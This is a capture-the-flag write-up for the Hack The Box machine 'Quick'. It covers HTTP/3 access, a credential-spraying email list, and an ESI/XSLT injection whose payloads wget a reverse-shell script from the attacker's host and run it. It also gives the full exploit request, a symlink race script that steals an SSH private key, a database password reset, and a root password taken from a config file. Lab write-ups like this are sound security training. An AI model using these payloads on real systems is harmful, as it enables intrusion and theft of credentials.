HTB{quick}
Summary
Very funny box, which I hated the entry foothold
because I didn’t even think about it.
user: QUIC and usage of a docker to connect to HTTP3
, from there, we’ve have to make a custom wordlist to test the default password. Then we have to get the hint
via the header
to make an XSLT
injection to achieve RCE
.
root: for root, we’ve to reach the virtual host
from the apache conf
, edit the account
by hand on mySQL, enter to the server and manage to win the race condition
of the php code
. Then, as the 2nd user, we have to check one config file where the root password
is in plain text
in a form of a URL login
.
recon
Basic endpoints found:
- http://portal.quick.htb:9001/
- http://portal.quick.htb:9001/login.php
- http://portal.quick.htb:9001/clients.php
Tried many things, nothing worked.
With maaaaaaany minutes of enumeration, the entry point was in front of my eyes all the time: http3/quic
. I wasn’t able to make chromium
works for it (If anyone did, please, pm me :D) .
But, I found a docker file which helps me to connect.
This is just an http3/curl
docker which helps me use http3-QUIC
with the server.
- Download de Dockerfile and build it:
docker build -t quic_thing .
From here, we have:
- https://10.10.10.186/index.php?view=contact
- https://10.10.10.186/index.php?view=about
- https://10.10.10.186/index.php?view=docs
user.txt
From docs/connectivity.pdf
You can use your registered email address and Quick4cc3$$ as password.
With the correct email
, we suppose to be able to enter with Quick4cc3$$
as pw (if the user forgot to change the default password).
- Some names under
Testimonials
:
tim
roy
elisa
james
jane
mike
john
- Possibles companys:
qconsulting.uk
darkwing.us
wink.uk
lazycoop.cn
scoobydoo.it
penguincrop.fr
qconsulting.co.uk
darkwing.co.us
wink.co.uk
lazycoop.co.cn
scoobydoo.co.it
penguincrop.co.fr
quick.htb
portal.quick.htb
- Doing a correct merge from this, we got:
tim@qconsulting.uk
tim@darkwing.us
tim@wink.uk
tim@lazycoop.cn
tim@scoobydoo.it
tim@penguincrop.fr
tim@qconsulting.co.uk
tim@darkwing.co.us
tim@wink.co.uk
tim@lazycoop.co.cn
tim@scoobydoo.co.it
tim@penguincrop.co.fr
tim@quick.htb
tim@portal.quick.htb
roy@qconsulting.uk
roy@darkwing.us
roy@wink.uk
roy@lazycoop.cn
roy@scoobydoo.it
roy@penguincrop.fr
roy@qconsulting.co.uk
roy@darkwing.co.us
roy@wink.co.uk
roy@lazycoop.co.cn
roy@scoobydoo.co.it
roy@penguincrop.co.fr
roy@quick.htb
roy@portal.quick.htb
elisa@qconsulting.uk
elisa@darkwing.us
elisa@wink.uk
elisa@lazycoop.cn
elisa@scoobydoo.it
elisa@penguincrop.fr
elisa@qconsulting.co.uk
elisa@darkwing.co.us
elisa@wink.co.uk
elisa@lazycoop.co.cn
elisa@scoobydoo.co.it
elisa@penguincrop.co.fr
elisa@quick.htb
elisa@portal.quick.htb
james@qconsulting.uk
james@darkwing.us
james@wink.uk
james@lazycoop.cn
james@scoobydoo.it
james@penguincrop.fr
james@qconsulting.co.uk
james@darkwing.co.us
james@wink.co.uk
james@lazycoop.co.cn
james@scoobydoo.co.it
james@penguincrop.co.fr
james@quick.htb
james@portal.quick.htb
jane@qconsulting.uk
jane@darkwing.us
jane@wink.uk
jane@lazycoop.cn
jane@scoobydoo.it
jane@penguincrop.fr
jane@qconsulting.co.uk
jane@darkwing.co.us
jane@wink.co.uk
jane@lazycoop.co.cn
jane@scoobydoo.co.it
jane@penguincrop.co.fr
jane@quick.htb
jane@portal.quick.htb
mike@qconsulting.uk
mike@darkwing.us
mike@wink.uk
mike@lazycoop.cn
mike@scoobydoo.it
mike@penguincrop.fr
mike@qconsulting.co.uk
mike@darkwing.co.us
mike@wink.co.uk
mike@lazycoop.co.cn
mike@scoobydoo.co.it
mike@penguincrop.co.fr
mike@quick.htb
mike@portal.quick.htb
john@qconsulting.uk
john@darkwing.us
john@wink.uk
john@lazycoop.cn
john@scoobydoo.it
john@penguincrop.fr
john@qconsulting.co.uk
- Using this wordlist, and the password before on
burp intruder
orffuf
:
elisa@wink.co.uk:Quick4cc3$$
- Got into the
ticket system
- After many time enumerating the service, and having in mind the following:
Why not to try XSLT/ESI
injection:
Got the SSRF
, from here, we can achieve an XXE
from here. So I did a two way exploit,
- First, make the
server
to download the reverse shell. - Second, execute it.
- I modify one
SimpleHTTPServer
, because the server will ask for something like:GET http://blabla/payload.xml
, and that breaks thesimpleHTTPServer
, so I modified it to response the same file for every request.
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from httplib import HTTPResponse from os import curdir,sep
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type","text/html")
self.end_headers()
f = open("./xxe.xml")
self.wfile.write(f.read())
f.close()
return
if self.path == '/':
self.path = '/index.html'
try:
sendReply = False
if self.path.endswith(".html"):
mimeType = 'text/html'
sendReply = True
if sendReply == True:
f = open(curdir + sep + self.path)
self.send_response(200)
self.send_header('Content-type', mimeType)
self.end_headers()
self.wfile.write(f.read())
f.close()
return
except IOError:
self.send_error(404,'File not found!')
def run():
print('http server is starting...')
#by default http server port is 80
server_address = ('0.0.0.0', 80)
httpd = HTTPServer(server_address, RequestHandler)
try:
print 'http server is running...'
httpd.serve_forever()
except KeyboardInterrupt:
httpd.socket.close()
if __name__ == '__main__':
run()
My first xml
file was:
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[wget myip:8000/rev.py -O /tmp/f4d3 ]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>
- The second one
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[python /tmp/f4d3 ]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>
- Final web payload:
POST /ticket.php HTTP/1.1
Host: portal.quick.htb:9001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://portal.quick.htb:9001/ticket.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Connection: close
Cookie: PHPSESSID=6fsp70f2ki2ku460nokabodhp4
Upgrade-Insecure-Requests: 1
title=te&msg=Describe+your+queryte&id=TKT-39194<esi:include src="http://10.10.14.24/xxe.xml" stylesheet="http://10.10.14.24/xxe.xsl"></esi:include>
user.txt:968047bf11c0e7f7b87742d6e9e8af0e
root.txt
Virtual host for printing
- We edit our
/etc/hosts
file, and we’re in front of the login page. - The source code of this page is under
/var/www/printer
- From enum we got on
/var/www/html/db.php
sam@quick:/var/www/html$ cat db.php
<?php
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");
?>
sam@quick:/var/www/html$
Connecting to local mysql service
we can see 2 accounts:
And update the srvadm
account:
I used the following hash: 0fc7e3bdaf515107d373c9908d4970e5
to set the password to test
srvadm@quick.htb:test
With this, we can enter easily to the printerv2.quick.htb
Inside the portal we can add printer/add new jobs
. The most interesting part of the source code is on job.php
if($_SESSION["loggedin"])
{
if(isset($_POST["submit"]))
{
$title=$_POST["title"];
$file = date("Y-m-d_H:i:s");
file_put_contents("/var/www/jobs/".$file,$_POST["desc"]);
chmod("/var/www/printer/jobs/".$file,"0777");
$stmt=$conn->prepare("select ip,port from jobs");
$stmt->execute();
$result=$stmt->get_result();
if($result->num_rows > 0)
{
$row=$result->fetch_assoc();
$ip=$row["ip"];
$port=$row["port"];
try{
$connector = new NetworkPrintConnector($ip,$port);
sleep(0.5); //Buffer for socket check
$printer = new Printer($connector);
$printer -> text(file_get_contents("/var/www/jobs/".$file));
$printer -> cut();
$printer -> close();
$message="Job assigned";
unlink("/var/www/jobs/".$file);
}
catch(Exception $error)
{
$error="Can't connect to printer.";
unlink("/var/www/jobs/".$file);
}
}
else
{
$error="Couldn't find printer.";
}
}
Just right on the chmod
is the vuln, and in the try block
is the exploit.
- First, the
server
will create a new file. - Will make it
777
permission. - Imagine here that we can
delete the file
and make asymlink to another file
very fast (race condition) - The program will send the
symlink
content over the network to the printer.
I did a tiny shell script to brute the symlink
and win the race condition
#!bin/sh
cd /var/www/jobs;
while true;
do
for k in `ls`;
do
rm -rf $k 2>/dev/null;
ln -s /home/srvadm/.ssh/id_rsa $k;
done
done
Running this, and sending a new job to our controlled server
, we get the private key of srvadm
:D !
We can SSHin
as srvadm
!
From basic enumeration on the home directory
we’ve got some interesting config files
srvadm@quick:~$ find .
.
./.cache
./.cache/conf.d
./.cache/conf.d/printers.conf
./.cache/conf.d/cupsd.conf
./.cache/logs
./.cache/logs/debug.log
./.cache/logs/error.log
./.cache/logs/cups.log
./.cache/packages
./.cache/motd.legal-displayed
./.bash_logout
./.viminfo
./.bash_history
./.local
./.local/share
./.local/share/nano
./.local/share/nano/search_history
./.ssh
./.ssh/known_hosts
./.ssh/authorized_keys
./.ssh/id_rsa
./.ssh/id_rsa.pub
./.bashrc
./.gnupg
./.gnupg/private-keys-v1.d
./.profile
srvadm@quick:~$
If we dig deeper into .cache/
directory, we’ve got some .conf
files, always juicy.
$ cat .cache/conf.d/printers.conf
...
Option job-cancel-after 10800 [45/1627]
Option media 12
Option output-bin 0
Option print-color-mode color
Option print-quality 5
Attribute marker-colors \#00FFFF,#FF00FF,#FFFF00,#000000,#00FFFF,#00FFFF,#FF00FF,#FF00FF,#FFFF00,#FFFF00,#000000,#000000,none,none,none,none
Attribute marker-levels 51,63,64,39,82,98,82,98,82,98,49,92,-1,92,83,86
Attribute marker-low-levels 10,10,10,10,10,10,10,10,10,10,10,10,0,10,10,10
Attribute marker-high-levels 100,100,100,100,100,100,100,100,100,100,100,100,99,100,100,100
Attribute marker-names Toner Cartridge (C),Toner Cartridge (M),Toner Cartridge (Y),Toner Cartridge (K),Drum Cartridge(C),Developer Cartridge(C),Drum Cartridge(M),Developer Cartridge(M),Drum Cartr
idge(Y),Developer Cartridge(Y),Drum Cartridge(K),Developer Cartridge(K),Waste Toner Box,Fusing Unit,Image Transfer Belt Unit,Transfer Roller Unit
Attribute marker-types toner,toner,toner,toner,opc,developer,opc,developer,opc,developer,opc,developer,waste-toner,fuser,transfer-unit,transfer-unit
Attribute marker-change-time 1582042248
</Printer>
<Printer OLD_Aviatar>
PrinterId 2
UUID urn:uuid:0929509f-7173-3afd-6be2-4da0a43ccefe
Info 8595
Location Aviatar
MakeModel KONICA MINOLTA C554SeriesPS(P)
DeviceURI https://srvadm%40quick.htb:%26ftQ4K3SGde8%3F@printerv3.quick.htb/printer
State Idle
StateTime 1549274624
ConfigTime 1549274625
Type 8401100
Accepting Yes
Shared Yes
JobSheets none none
QuotaPeriod 0
PageLimit 0
KLimit 0
OpPolicy default
ErrorPolicy stop-printer
Option job-cancel-after 10800
Option media 1
Option output-bin 0
Option print-color-mode color
Option print-quality 5
</Printer>
<DefaultPrinter PA-7032>
PrinterId 3
...
From here, we got the entire DeviceURI
wich the admin is aunthenticated via the URL
, From URL RFC
URL-Decoding the URL:
DeviceURI https://srvadm@quick.htb:&ftQ4K3SGde8?@printerv3.quick.htb/printer
With this, we’ve got the root password, and the flag, 👀 !
root:&ftQ4K3SGde8?
srvadm@quick:~$ su -
Password:
root@quick:~# cat root.txt
47003db23eeb2130887883700b232b86
root@quick:~#
root.txt:47003db23eeb2130887883700b232b86